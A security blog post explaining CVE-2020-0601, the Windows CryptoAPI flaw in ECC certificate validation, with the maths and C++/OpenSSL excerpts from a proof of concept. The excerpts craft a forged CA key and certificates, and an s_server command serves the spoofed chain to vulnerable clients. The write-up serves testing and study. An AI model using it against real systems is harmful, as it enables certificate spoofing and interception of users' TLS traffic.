CVE-2020-0601: theory and practice

Intro

On the 14th of January 2020, Microsoft fixed CVE-2020-0601, a high severity vulnerability affecting the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates. Corresponding advisories were issued by NSA and CERT on the same day. On the next day it got a few nicknames such as Chain of Fools, or CurveBall. Some internal details were given by Thomas Ptacek and Kudelski Security. The latter one inspired us to look at this vulnerability from a more practical point of view.

Some proof-of-concepts were already available: by Saleem Rashid and Kudelski Security. However, we found that even having all aforementioned details and proof-of-concepts it is still not perfectly clear how to implement test for CVE-2020-0601 in general. Such tests were finally added to our client-side SSL/TLS validation tool qsslcaudit. You can discover more details on the subject in this post.

In this article we describe how to generate a certificate (using C++) that a vulnerable client will consider to be valid. We hope that it will help you understand the root cause of the vulnerability and the maths behind.

Theory

Kudelski Security blog post really well describes the mathematical background. Well, not really. :-) The author of this post is a good example of someone who did not - and in fact still does not - have any background in cryptography. As such, everything was clear during reading the article and totally black magic during attempts to implement the same in our own way. Let's try to give an explanation which is closely tied with the implementation.

Common words

So, what is this issue about? Windows implementation of certain certificates validation had a flaw (at least one which is now public). These certain certificates are the ones which are signed using elliptic-curve cryptography method. Here we have two terms which require clarification: signing and elliptic curve cryptography.

A TLS certificate by itself can contain a lot of fields. Some of them can contain arbitrary content, others are purely informational, and several are critical to TLS clients. A client expects to find such fields being equal to certain values (totally depends on client implementation!). For example, if a TLS client connects to some entity claiming the ownership of "example.com" the client expects to find a certificate with "common name" (CN) field set to "example.com".

Obviously, it makes no sense if anyone can write such certificate for "example.com". In order to provide authenticity of the "example.com" entity, the certificate has to be signed by some third-party trusted entity. To sign a certificate means to calculate a signature over the certificate's fields. This signature is included in the certificate too. Signature can be calculated using various cryptography algorithms. The particular algorithm is also included into the certificate. Currently, such algorithms rely on "public-key cryptography". Thus, the public key itself is also included into certificate. Having all this information (including trust to signing certificate authority) is enough for TLS client to confirm that the TLS server is indeed the owner of the specified resources.

In the description above we see another term: public-key cryptography. By design, if one entity has a private key it can generate the corresponding public key. The public key is not a secret and is distributed among involved parties. The public key can be used to encrypt arbitrary data but it can not decrypt it. Encrypted data (cipher text) can be decrypted only with the private key.

Such feature can be used to implement signing process. The owner of the private key produces a signature from its private key and a known data. The owner of the public key uses its public key and the provided signature to calculate shared known data. Then it compares calculation results with the provided data. If they are equal, the public key owner confirms authenticity of the entity which provided the signature.

The described approach relies on asymmetric (hardly reversible) mathematical operations. Among such methods are RSA and elliptic-curve cryptography.

And we know that something is wrong with how Windows validates signature of ECC certificates...

ECC

A very good explanation of elliptic-curve cryptography can be found in Practical Cryptography for Developers. Here we will just emphasize some key points related to the discussed proof-of-concept implementation.

The elliptic curve cryptography (ECC) uses elliptic curves over the finite field. Here is an example (from the article) showing what it could look like:

y^2 ≡ x^3 + 7 (mod p)

This field can be represented as a square matrix of size p x p where p is prime. The points on the curve are limited to integer coordinates within the field only. Thus, dealing with "curve" actually means working over limited set of "points", defined by their coordinates (x, y), where each coordinate belongs to the curve (field).

See the great illustration from the aforementioned article:

elliptic curve

p is called field size and determines key length. Typically it is a prime number of 256, 384 or 512 bits.

As was stated above, the number of points in the field (curve) is limited (finite) and is called order of the curve and usually defined as n.

There are rules on how algebraic operations within the field are defined. The result of such operation (like point addition and multiplication) within the field always remains in the field.

Let's also do the following trick: - select a point on the curve (an object defined by two coordinates); - multiply it by an integer number; - the result will belong to the curve too, multiply it again by the same number; - repeat the process until reaching the initial point.

All points "visited" by such process belong to a list which is called a subgroup. There can be several subgroups. The number of them which includes all the curve points (n) is called cofactor, h.

As one can guess, it should be possible to carefully craft a curve, select a point on it and find an integer number such that the starting point being multiplied by this number several times will cover all the curve points. The cofactor h of such curve will be 1: the curve contains only one subgroup. Such starting point is called generator, G.

Standard predefined curves are defined to have cofactor 1 for a known G. Do note that nothing stops from selecting another generator point and multiply it by some integer number. However, this operation could cover less points from the curve (depends on curve properties).

Overall, the particular curve is defined by: - Its mathematical formula. - Field size p (large prime number). - Generator point G on this curve.

To use this curve we define a large integer number, called private key k. If we multiply generator point G by private key k we get public key P: P = k*G. Note that public key is also a point on the curve (it is defined by two coordinates).

Computationally, the public key is calculated very fast (P = k*G). However, the inverse procedure (k = P/G) is extremely slow. This asymmetry is used to implement private-public key cryptography algorithms briefly described above.

The issue

In order to validate authenticity of the remote party, a TLS client has to validate the signature of the corresponding TLS certificate. This signature is produced by the trusted certificate authority by producing a signature of the provided TLS server certificate using the certificate authority' secret private key. Thus, in theory, a valid signature can be produced only if we know the corresponding certificate authority's private key. However, what happens is that the TLS client (vulnerable Windows version in this case) can improperly validate such signature.

By definition of the signature process, a client uses the certificate authority's public key and signature to craft shared public data. If they are equal then the signer is considered as having a valid private key.

In RSA cryptosystem the only "variable" which we can change in the process is private key (large integer). All other operations is "basic" arithmetic. However, in case of ECC we also have the curve itself.

Remember from the previous section that public key (shared, known to every one) is a product of private key and generator: P = k*G ? Generator here defines the curve and is included in the certificate, but taking it into an account is up to client itself.

We can not find the original private key k, but we can select our own generator G' and some other private k' which will produce the desired public P: P = k' * G'. Here private key k' is an integer, generator G' is a point and public key P is a point too.

If our algorithm produces the same public key it will produce the same signature too. Thus, if TLS client uses our ECC algorithm (curve) instead of the one set in the CA's certificate it will consider our fake signature as valid.

Practice

In order to implement the discussed proof of concept we decided to use CryptoPP library for elliptic curve computations and OpenSSL API to deal with certificates. Unfortunately, CryptoPP by itself does not implement operations on TLS certificates.

Below we will take some excerpts from our PoC published on Github as cve-2020-0601_poc and explain them.

Objective

Our objective is to craft a certificate chain which will be considered as valid for a particular domain name by our victim.

For this chain we first need a CA certificate similar to some that are already known to the victim. Then we have to produce a private key which uses our custom elliptic curve. This private key has to produce the same public key than the valid CA certificate.

Then we have to create a TLS web server certificate issued for a particular common name, signed by some private key (generated using some known curve). If we sign this certificate using our evil certificate authority it will produce the same signature as would the valid one.

Input data

Only the following is required as input data: - Original CA certificate. It contains the certificate authority's public key and other fields which can be copied. However, the only essential field is "serial number". - Target common name. Usually, it is a host name our victim connects to.

The input data is parsed by our PoC in its main() function by extracting a public key and a serial number from the provided certificate:

    // get raw public key bytes from the CA certificate
    // our objective is to be able to craft a key that will produce them
    unsigned char caPubKey[8192];
    size_t caPubKeyLen;
    ret = getCertPublicKey(caCertPem.c_str(), caCertPem.size(), caPubKey, &caPubKeyLen);
    if (!ret) {
        return -1;
    }
 
    // get CA's serial number
    unsigned char caSerial[512];
    size_t caSerialLen;
    ret = getCertSerial(caCertPem.c_str(), caCertPem.size(), caSerial, sizeof(caSerial), &caSerialLen);
    if (!ret) {
        return -1;
    }

The routines getCertPublicKey() and getCertSerial() are implemented using OpenSSL API in openssl-helper.cpp file here and here. There is nothing special there except that we carefully convert formats to have public key and serial number as raw bytes sequences.

Okay, we have the input data, let's start crafting certificates. This is done in function genCve20200601Cert.

Evil private key generation

The craftEvilPrivKey() function implemented in cve-2020-0601_poc.cpp does this job in the following way.

At first, we create CryptoPP representation of CA's public key. This object defines elliptic curve and a point on it:

    DL_Keys_ECDSA<ECP>::PublicKey caPubKey;
    caPubKey.Load(CryptoPP::ArraySource((const CryptoPP::byte *)caPubKeyRaw,
                                         caPubKeyRawLen, true).Ref());

This allows us to access original elliptic curve definition and parameters as caPubKey.GetGroupParameters(). We use exactly this curve to generate a new private key:

    CryptoPP::AutoSeededRandomPool prng;
    DL_Keys_ECDSA<ECP>::PrivateKey privKeyBase;
    privKeyBase.Initialize(prng, caPubKey.GetGroupParameters());

To convert this private key to the one which produces the desired public key we have to modify elliptic curve parameters. We have to produce an evil generator G' which satisfies the following equation: G' = Q / k. Or the same: G' = Q * 1/k. Q -- is CA's public key (remember that it is a point?). 1/k is the inverse value of the private key obtained earlier. Inversion is calculated as (k ^ -1) mod n, where n is the curve order. We need mod operation here as "curve", which is in fact a "finite field" with some order.

This is implemented as:

    // calculate an inverse value of the private key
    CryptoPP::Integer privKeyInverse = CryptoPP::EuclideanMultiplicativeInverse(privKeyBaseExp, privKeyBaseOrder);
    // produce our custom generator (base point) as a multiplication of the inverse value of our private key
    // and the public key of the provided CA certificate
    ECP::Point caPubKeyQ = caPubKey.GetPublicElement();
    ECP::Point evilG = privKeyBaseCurve.ScalarMultiply(caPubKeyQ, privKeyInverse);

Now we have everything we need to craft our own curve and the corresponding private key structure: - Curve mathematical form (from CA's public key). - Curve order (from CA's public key). - Base generator: evilG. - Some large integer as a private key itself.

It is done here:

    // create an "evil" private key object using the base private's key exponent and curve but
    // with our "evil" generator (base point)
    DL_Keys_ECDSA<ECP>::PrivateKey evilPrivKey;
    evilPrivKey.Initialize(privKeyBaseCurve, evilG, privKeyBaseOrder, privKeyBaseExp);

That is it. It will work as expected by design.

What is left is to export private key structure as a raw bytes:

    // convert evil private key into PKCS8 format
    CryptoPP::ArraySink evilPrivKeyPKCS8As((CryptoPP::byte *)outEvilPrivKeyPKCS8, maxSizePKCS8);
    evilPrivKey.Save(evilPrivKeyPKCS8As.Ref());
    *outEvilPrivKeyPKCS8Len = evilPrivKeyPKCS8As.TotalPutLength();

Now we can proceed with certificates generation.

Crafting certificates

At first we have to deal with keys format issues. CryptoPP returns elliptic-curve private key in PKCS8 format (see https://www.cryptopp.com/wiki/Keys_and_Formats). In theory it should be understood by OpenSSL and other libraries but in practice there is one caveat. This key we crafted defines a custom curve which is not in the standard list of supported curves. When a library tries to parse such key it fails to create internal structures describing the curve and produces an error.

We found a set of OpenSSL API calls which allowed us to have a valid key in OpenSSL internal format. We also noticed that some OpenSSL versions have implementation errors which result in perfectly fine operations (no errors returned) but invalid TLS certificates as a result.

Overall, we convert CrytoPP's private key into PEM format in the following way:

    pkey = d2i_PrivateKey_bio(bioIn, NULL);
...
    PEM_write_bio_PrivateKey(bioOut, pkey, NULL, NULL, 0, NULL, NULL);

Nothing special, but it consumed quite some time to find the proper calls.

Now we are ready to create a custom CA certificate with the same serial number as the provided one. This is implemented by genSignedCaCertWithSerial() function. To sign the certificate we use previously crafted malicious private key. When forming the CA certificate it was essential to be careful about the set of X509 fields to fill, serial number format and the set of X509v3 extensions.

The last step is to generate a certificate for the desired common name. It was a straightforward procedure without any quirks or workarounds. It is implemented by genSignedCertForCN() function.

After all we obtain the following certificates which can be used to validate the issue: - Evil CA certificate. - Target host certificate. - Target host private key.

Exploitation

The proof of concept mentioned here, cve-2020-0601_poc, accepts a single parameter as input: a path to CA certificate. This certificate has to be signed using ECC algorithm.

The PoC saves several certificates as files in its working directory: - test-cve_evil-ca.crt. Evil CA certificate. PEM format. - test-cve_evil-privkey.key. Evil CA private key. PEM format. - test-cve_evil-privkey-pk8.key. Evil CA private key. PKCS8 DER format. - test-cve_host-cert.crt. Target host certificate. PEM format. - test-cve_host-privkey.key. Target host private key. PEM format.

The tool is hardcoded to produce certificates for "example.com" common name.

OpenSSL's s_server can be fed with the produced certificates as follows:

sudo openssl s_server -cert test-cve_host-cert.crt -key test-cve_host-privkey.key -chainCAfile test-cve_evil-ca.crt -www -accept 443

Redirect the victim (vulnerable OS) to the desired socket and if all goes well, the TLS client (browser) will not emit certificate validation error.

The result should look like this one:

example.com spoofing

Please note that it is required to have the legitimate CA certificate using ECC in the operating system cache. This can be achieved by redirecting a victim to a legitimate TLS server which uses a certificate signed by the certificatee authority of our choice.

qsslcaudit

A test for this vulnerability was added to our tool for assessing SSL/TLS clients implementation, qsslcaudit. See the corresponding announcement and section in the tool's README file.

CVE-2020-0601 test implemented in qsslcaudit allows a security researcher to have everything in one place: malicious certificate generation for arbitrary domains, TLS server and clear description of the intercepted connection.

Conclusion

This particular vulnerability grabbed our attention because, being an issue in client-side TLS implementation, it should fit perfectly as one of the qsslcaudit's tests. We started to work on it in early February 2020 thinking "ah, okay, there are articles published, proof of concepts written, we have a tool which does the heavy lifting, so just create a slightly modified private key and you will be good to go". Nope. Not that easy.

Trying to fit a proof of concept into a product is not just copy-pasting from Github repository. It requires having a piece of code implemented without any hardcoded parameters and not relying on any specifics. It should handle arbitrary input parameters to produce the desired output. Finally, it has to be compliant with the chosen programming language and libraries.

It turned out that working with elliptic curve parameters at a low level is not well supported by TLS libraries we used (GNUTLS and OpenSSL). Moreover, even if you just provide a ready-made private key to these libraries they refused to work due to non-standard curves. We had to find an alternative way to work with ECC. This was CryptoPP library.

Adding another library to your project (especially if it is written in C/C++) can be a huge pain in itself. Luckily in this case it was not that problematic, but another problem arose: it was not straightforward to convert ideas from blog posts or practical implementations into the particular library calls. We had to truly understand the issue, the theory behind it.

Fighting with OpenSSL to generate proper certificates took another set of working days. It was really frustrating to spend time on that as it is not related to the issue itself and was about digging through obscure code and bad documentation. Not mentioning bugs in outdated versions we were experimenting with.

As a result, it took several working days to get a fully working proof of concept and only one hour to integrate it into qsslcaudit.

The CVE-2020-0601 vulnerability is also interesting from a completely different perspective: how was it discovered ? Once you understand the issue and its root cause you immediately spot this potentially weak point: curve parameters which can be customised and controlled by another party of TLS handshake. Was it discovered like this ? By reading standards, creating hypothesis, writing tools, testing various implementations ? Or was it a careful study of disassembled crypto32.dll ? Even if we do not know the answer we can still learn from it.

Happy studying. :-)